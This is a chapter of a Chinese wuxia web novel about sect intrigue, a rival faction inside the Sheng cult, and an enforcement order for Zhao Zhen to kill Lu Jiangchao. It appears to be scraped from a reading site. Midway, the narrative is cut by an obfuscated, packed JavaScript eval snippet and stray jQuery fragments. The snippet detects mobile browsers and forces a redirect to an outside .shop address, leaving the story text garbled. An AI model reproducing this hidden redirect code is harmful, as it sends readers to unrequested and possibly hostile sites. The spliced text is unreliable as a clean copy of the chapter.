“正气门没出什么大事,但估计你哥哥性命难保。”周凝说。
“什么意思?”花今夏皱着眉头,她离开正气门已久,离开晟教的时间也不短,对江湖上的事倒是没什么了解。
周凝气定神闲地坐下说:“先从清静宗灭门开始说起。”
花尽夏等着她慢慢说。
“清静宗的灭门背后有至少三股势力。”周凝说,她这段时间寻访各地,又整合各地以及关于夺岳山庄的信息,这才得到了相关的信息。
“其一,夺岳山庄灭门惨案中活下来的后人;其二,晟教内部的暗流,以执法堂和亭台路为主,目前我猜测还有一股势力参与,但行动过于隐秘,没有得到相关的信息。”
“连你都没办法得到吗?”
周凝点点头。
她猛然站起身道:“若是行事能这般隐秘,或许范围很小。”
“是。”周凝答道,“其三,便是武林各门各派中心怀不轨之徒,这些人或许与夺岳山庄后人有所合作,也或许是为了自己的野心。”她叹了口气,“也有被蒙骗的人。”
“随着江湖首宗清静宗灭门、我教教主失踪、清静宗宗主吴悠之身亡的消息传遍江湖,必然会引起江湖动荡。”周凝说道。
“和正气门有什么关系?”花尽夏坐下问,“我哥哥那个性子,你若是说他想要争江湖首宗,做首宗的宗主,我信,可与我教勾结或者做些别的事情,却是不可能的。”
周凝继续道:“花门主与我教本身就是合作关系,正魔大战结束之后,各门各派都需要休养生息,正气门便逐渐与晟教有生意上的往来,也算是互惠互利,彼此心知肚明,不需点破。”
“可……”她抬头看向周凝。
“正是如此,”周凝答道,“正是这点微弱的联系,正气门便难以成为江湖首宗,且经过多年,这其中关系错综复杂,不是说断便能断的。”
花尽夏苦笑道:“我哥哥也没这样的魄力。”
花无烈是个想的太多的人。在意的太多,操心的太多,别看他乐呵呵得天天像个富家翁,其实正气门一大家子的事情基本都要考虑。
“而且,你们正气门内部的事情我也不想评价,你最是清楚。”周凝道,“你哥哥没这个魄力,谁会有?”
“若是有朝一日此事暴露,正气门怕是要和清静宗一般,被江湖人人共弃了。”
名声是个很奇妙的东西,同理,人也是。
清静宗其实并没有做什么天诛地灭的事情,只是现如今失势,加上有人恶意败坏它的名声,清静宗的弟子便都一个个隐姓埋名,四散而去。
江湖上的其他门派,自然也不希望还有这样一个清静宗压在他们头上。
曾经是少林、武当,后来是清静宗,那么现在,为什么不能是他们呢?
花尽夏是个聪明人,她知道周凝来所为何事,也必然知道自己会不得不走这一遭,于是只能叹口气:“好友,你真是……”
周凝轻笑道:“麻烦归麻烦,至少,主动权要掌握在自己手里。”
“那我便再问你一个问题。”
“请讲。”
花尽夏看着她问:“你和吴悠之到底在谋划什么?”
陆江潮为孙时芜拔除毒素,并且大致针对这种毒做了一种不算非常有效,但是能延缓发作的解药。
赵蓁则是躲在屋子里研究着目前发现的消息。
那张夹带也被她和钱时文取出来了,夹带之中只有一张纸,纸上却是什么都没写,赵蓁用了各种办法之后都没办法得到任何字迹,便只能猜测,这纸只是用来迷惑他们的。
但,这是为何呢?
她里里外外研究了这本手记许久,并没发现什么别的有效信息。于是只能叹口气,思索接下来的方向。
蒲孟珂并不知道徐云飞见那些人说了什么,他们跟踪到半路的时候,便再也找不到她们的踪迹,就连武功不那么好的蓝杉他们都找不到了。
“虽然我不知道赵姑娘到底是哪一方的人,但她至少帮了我们,徐师叔……”蒲孟珂思索了一下,还是决定同三顾茶庄的赵掌柜说一声,至少也要让钱时文知道这个消息。
等他去找赵掌柜的时候,三顾茶庄却空无一人,后院处隐约听到了打斗之声。
蒲孟珂手中握紧了剑,向茶庄后面找去,只见那位慈眉善目的赵掌柜惨死在水井旁。
他上前查看,赵掌柜心脉寸断,是——断云摧心掌?
可他进来的时候撇到了那个离去的身影,确定是个女子。
“魔教?”蒲孟珂知道这是姜东来的成名绝技,“可为什么?”
他不理解。
现如今他不知道要如何找到钱时文和赵蓁了。
晟教内部,已经开始站队了。
“万长老,这一步棋可不算高明。”姜东来说道。
万鹏扬此人武功虽好,在晟教内部除教主郑至道外,数一数二,资历更是比郑至道多,但这话在别人口中便只有一句:“他年纪更大一些。”
年纪大,入教时间长,自然资历更多一些。
但晟教内部四大长老若非那次内战中死了两个,这执法堂是万万轮不到万鹏扬来管的。
其中一直想要成为长老的姜东来自是不满。
只因郑至道一句:“副教主无用,长老二人足矣。”便断了姜东来青云直上的路。
不过面上功夫自然还是要做的。
“姜路使这说的是什么话?”万鹏扬十分不满,在他看来姜东来不过晟教之中的小喽啰而已,怎敢对他不敬。
姜东来冷笑道:“是你执法堂先攻击了湖光坛,和我亭台路又有什么关系?现如今教中人心惶惶,都道你执法堂要开始排除异己了。”
说排除异己倒也不算错,因为湖光坛和那失踪的郑至道是一条心的。而万鹏扬也明白,这一步,就算郑至道真的死了,湖光坛必定也不会奉他为教主。
更重要的是,湖光坛管的是情报,若坛主不够忠心,这教主之位是做不稳当的。
“周霜还在,周凝下落不明,她那个徒弟还在跟清静宗的那些人纠缠不清。”姜东来说道。
他的亭台路虽然管的是内务,但早些年吸收了不少湖光坛的人,因此情报一路,他自有办法,虽不及周凝那般江湖动向一清二楚,但最起码不会像万鹏扬一样,当个睁眼瞎。
“啊,对了,少林和武当的弟子都下山来帮忙了,而且好像咱们那药就是他们破解的。”姜东来道。
万鹏扬心思一动,便冷笑道:“他们哪有那个能力,自然是周凝示意的。”
姜东来心道,要真是周凝的意思便好办太多了。
“鬼医也出了不少力吧?”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17660747|207165||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>
“这是自然,不然谁有能力解毒呢?更别说那毒药本身就是在晟教秘药的基础上研究的。”姜东来道,“只可惜了我那处宅子。”
万鹏扬跟他说要尝试炼毒的时候,他就只提供了一处旧宅,大部分还是李朔和万鹏扬进行的。
姜东来虽然自诩心狠手辣,却也不屑于做这种事情。
“既然教主都失踪了,自然就不需要鬼医了,”万鹏扬道,“连带着他的那个弟子,一起杀了好了。”
他顿了一下继续说:“周凝那个徒弟还在跟清静宗的人混在一起,那就发执法令,命令赵蓁,杀了陆江潮。”
赵蓁百无聊赖在云安待了一阵,往青阳县传信问她师兄怎么样了,周霜也只是回了“无碍”两字。
又去信问周凝的情况,周霜也只回了“勿念”两字。
剩下的时候,便是看看钱时文和王九切磋,看孙时芜练功,看钱时文和孙时芜尴尬的相处,以及担心陆江潮的安危。他在前几日便离开了,后面还跟着个顾秋云。
“我也没什么事要做,这事伤天害理,我必不能让陆兄一个人去啊!”顾秋云道,“而且我武功比你好,也可以保护你。”
话虽如此,但赵蓁依旧担心,因为她担心自己。
半月过去,有一个人找到了孙氏医馆前。
“我找赵蓁,她在吗?”
孙时芜听到赵蓁的名字便出来看,看到他身上执法堂的标记,脸色微变道:“她已经走了。”
“不可能,我刚拿到的情报,赵蓁就在这里。”他说的很笃定,“若你不带我去见她,我就先杀了你。”说罢,横刀便出,刀光一闪就架在了孙时芜的脖颈之上。
周围的人四散而逃。
孙时芜认出了那把刀。
王九出来的时候正好见到此况,刚要上来相助的时候,那人的刀却更历一分,她的脖子上渗出血迹了。
孙时芜连忙伸手制止,道:“王九你先进去,我不会有事。”
“可是!”
“先走。”孙时芜说道。
见王九走后,那人将刀收起:“对不起了孙姑娘,现在可以带我去找赵蓁了吧?”
孙时芜脸色十分不好,她点了点头,便在前方带路。
还没往里走过几步,钱时文与王九一左一右袭向此人,但见他刀未出鞘,便已然击退二人。
“后生小子,还欠些火候!”
孙时芜却已经离开了他的周遭。
“孙姑娘,请带路吧。”他道。
孙时芜咬了咬牙,只能道:“无妨。”便继续带路。
赵蓁听到声音来晚一步,见到跟在孙时芜身后那人,便笑了一下三两步跑了过去,说:“易大哥,你来了?”
易升阳笑道:“好久不见了,蓁蓁妹子。”易升阳当初可是带着赵蓁闯祸,周霜负责擦屁股的,二人的关系可不是一般得好。
他二人拥抱一下,赵蓁低声说:“穿着执法堂的衣服过来是要给我下执法令吗?”
易升阳依旧笑道:“蓁蓁妹子还是那么聪明,那么你猜出来要你做什么了吗?”
钱时文觉得这二人拥抱的时间有些过于长了。
“我做不到,所以——”赵蓁猛地挣开怀抱,后退几步,趁着云生、云流二人也赶到便道,“杀了他!”
横刀出鞘,剑拔弩张。